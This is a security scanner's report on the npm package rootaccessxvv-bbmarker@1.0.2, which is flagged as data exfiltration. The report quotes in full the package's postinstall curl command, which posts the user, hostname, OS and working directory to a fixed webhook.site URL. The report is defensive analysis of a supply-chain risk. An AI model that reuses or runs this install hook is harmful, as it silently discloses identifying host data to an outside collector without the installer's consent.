registry / Data exfiltration / rootaccessxvv-bbmarker

rootaccessxvv-bbmarker

Benign PoC: install scripts gather local system info and send to researcher webhook (webhook.site/8f9e5268). No other action, no payload, no persistence.

This report shows the evidence for rootaccessxvv-bbmarker@1.0.2. 1 of 3 known versions is blocked or flagged. See all versions.

AI Security Review

scanned 2d ago · by lpm-firewall-ai

The manifest directly establishes automatic postinstall activation, local host-data collection, and transmission to a fixed unrelated collector. This is an unconsented installation beacon, so blocking is warranted.

Static reason

One or more suspicious static signals were detected.

Trigger

Installing the package runs its postinstall hook.

Impact

Installation discloses host and user identifying data to the collector without installer consent.

Mechanism

The hook gathers local user, host, runtime, OS, and working-directory details and posts them to a fixed webhook.site URL.

Attack narrative

On package installation, the postinstall hook gathers identifying details from the local environment and sends them to a fixed external webhook. The source shows no recipient-specific consent gate.

AI rationale

Evidence

package.json

Network endpoints1

webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The postinstall hook automatically sends the user, host, Node version, OS, and working directory to a fixed webhook.site URL without a recipient-specific consent gate.

Evidence against

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 55 B of source

Source & flagged code

8 flagged

package.jsonView file

Lines 1-17json

2 "name": "rootaccessxvv-bbmarker",

3 "version": "1.0.2",

4 "description": "Benign PoC: install scripts gather local system info and send to researcher webhook (webhook.site/8f9e5268). No other action, no payload, no persistence.",

5 "main": "index.js",

6 "scripts": {

7 "postinstall": "curl -s -m 10 -X POST \"https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof\" -H \"Content-Type: text/plain\" --data-binary \"DPD-REGISTRY-RCE-PROOF|user=$(whoami)|host=$(hostname)|node=$(node --version)|os=$(uname -a 2>/dev/null || ver)|cwd=$PWD|pkg=rootaccessxvv-bbmarker@1.0.2|benign-research-rootaccessxvv\" || true"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L7

8 },

9 "keywords": [

10 "hackerone",

11 "marker",

12 "benign"

13 ],

14 "author": "rootaccessxvv",

15 "license": "MIT",

16 "private": false

High

Suspicious Lifecycle Evidence

The postinstall hook automatically sends the user, host, Node version, OS, and working directory to a fixed webhook.site URL without a recipient-specific consent gate.

package.jsonView on unpkg · L6

17}

package.json#scripts.postinstallView file

•scripts.postinstall = curl -s -m 10 -X POST "https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof" -H "Content-Type: text/plain" --data-binary "DPD-REGISTRY-RCE-PROOF|user=$(whoami)|host=$(hostname)|node=$(node --version)|os=$(uname -a 2>/dev/null || ver)|cwd=$PWD|pkg=rootaccessxvv-bbmarker@1.0.2|benign-research-rootaccessxvv" || true

High

Manifest Script External Callback

An npm script contacts a known out-of-band callback or webhook service.

package.json#scripts.postinstallView on unpkg

High

Manifest Script Host Fingerprint Callback

An npm script sends host identity through command substitution to a fixed external destination.

package.json#scripts.postinstallView on unpkg

sim/node_modules/.bin/xss.ps1View file

•path = sim/node_modules/.bin/xss.ps1 kind = payload_in_excluded_dir sizeBytes = 769 magicHex = [redacted]

High

Payload In Excluded Dir

Package hides binary, compressed, or executable-looking payloads in test/fixture/hidden paths.

sim/node_modules/.bin/xss.ps1View on unpkg

•path = sim/node_modules/.bin/xss.ps1 kind = build_helper sizeBytes = 769 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

sim/node_modules/.bin/xss.ps1View on unpkg

sim/node_modules/xss/dist/xss.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 3

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

sim/node_modules/xss/dist/xss.js#virtual:normalized:round1View on unpkg

Source & flagged code

8 flagged · loading source

package.jsonView file

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "curl -s -m 10 -X POST \"https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof\" -H \"Content-Type: text/plain\" --data-binary \"DPD-REGISTRY-RCE-PROOF|user=$(whoami)|host=$(hostname)|node=$(node --version)|os=$(uname -a 2>/dev/null || ver)|cwd=$PWD|pkg=rootaccessxvv-bbmarker@1.0.2|benign-research-rootaccessxvv\" || true" }, "keywords": [ "hackerone", "marker", "benign" ], "author": "rootaccessxvv", "license": "MIT", "private": false

High

Suspicious Lifecycle Evidence

The postinstall hook automatically sends the user, host, Node version, OS, and working directory to a fixed webhook.site URL without a recipient-specific consent gate.

package.jsonView on unpkg · L6

Findings

6 High3 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighManifest Script External Callbackpackage.json#scripts.postinstall

HighManifest Script Host Fingerprint Callbackpackage.json#scripts.postinstall

HighPayload In Excluded Dirsim/node_modules/.bin/xss.ps1

HighSemantic Analysis Limitedsim/node_modules/xss/dist/xss.js#virtual:normalized:round1

HighSuspicious Lifecycle Evidencepackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumShips Build Helpersim/node_modules/.bin/xss.ps1

MediumStructural Risk Force Deep Review

LowScripts Present

Affected versions and remediation

This report applies to rootaccessxvv-bbmarker@1.0.2.

The versions list below shows the verdict for each recorded version.

Avoid installing rootaccessxvv-bbmarker@1.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-21 03:40:40.619Z (UTC).

Source advisory published: 2026-10-18 05:50:46.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

3 known versions

1.0.2latestshownMaliciousData ExfiltrationBlockPublishedOct 18, 2026, 5:50 AM 1.0.1Clean—AllowPublishedOct 18, 2026, 5:36 AM 0.0.0-stageUnknown—AllowUnder ReviewOct 17, 2026, 11:35 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Behavioral surface

Source & flagged code

Related packages

Other data exfiltration packages